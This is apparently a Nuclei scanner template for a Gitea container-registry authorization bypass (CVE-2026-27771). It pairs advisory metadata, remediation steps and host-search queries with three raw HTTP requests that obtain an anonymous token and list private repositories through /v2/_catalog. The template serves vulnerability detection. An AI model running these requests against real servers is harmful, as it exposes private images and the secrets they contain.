id: CVE-2026-27771 info: name: Gitea Container Registry - Unauthorized Private Image Access author: DhiyaneshDk severity: high description: | Gitea < 1.26.2 allows unauthenticated remote attackers to pull private container images.The /v2/token endpoint grants anonymous ghost tokens (UserID:-1) with no scope restriction.The ReqContainerAccess middleware does not check package owner visibility, so ghost users can enumerate all container repositories via /_catalog and pull any private image layer. impact: | Unauthenticated attackers can exfiltrate proprietary application source code, embedded secrets (API keys, database credentials, cloud provider keys), and internal infrastructure configuration from private container images. remediation: | Upgrade to Gitea >= 1.26.2. As a temporary workaround, set REQUIRE_SIGNIN_VIEW=true in gitea app.ini, though this blocks all anonymous access including public repos. reference: - https://blog.gitea.com/release-of-1.26.2/ - https://github.com/go-gitea/gitea/pull/37290 - https://github.com/go-gitea/gitea/pull/37610 - https://orca.security/resources/blog/gitea-container-registry-vulnerability/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2026-27771 epss-score: 0.43068 epss-percentile: 0.98585 cwe-id: CWE-862 metadata: verified: true max-request: 2 vendor: gitea product: gitea shodan-query: http.html:"Gitea" fofa-query: app="Gitea" tags: cve,cve2026,gitea,container,registry,auth-bypass,unauth flow: http(1) && http(2) && http(3) http: - raw: - | GET /v2/ HTTP/1.1 Host: {{Hostname}} Accept: application/json matchers: - type: dsl dsl: - 'status_code == 401' internal: true - raw: - | GET /v2/token?service=container_registry&scope=* HTTP/1.1 Host: {{Hostname}} Accept: application/json extractors: - type: regex name: token part: body group: 1 regex: - '"token":"([^"]+)"' internal: true - raw: - | GET /v2/_catalog HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Accept: application/json matchers-condition: and matchers: - type: word part: body words: - '"repositories"' - type: regex part: body regex: - '"repositories":\s*\[".+' - type: status status: - 200 extractors: - type: regex part: body regex: - '"repositories":\s*(\[.*\])' # digest: 4a0a0047304502204a31f3f23972f6d554697bddeaf3f258f23ab0e689716c4f1b14dbf3079f8956022100830bbb2f6bfab8c25c6fccb1c2f7fe5e3bcebbc2c6e7922595649ca3c8d76599:922c64590222798bb761d5b6d8e72950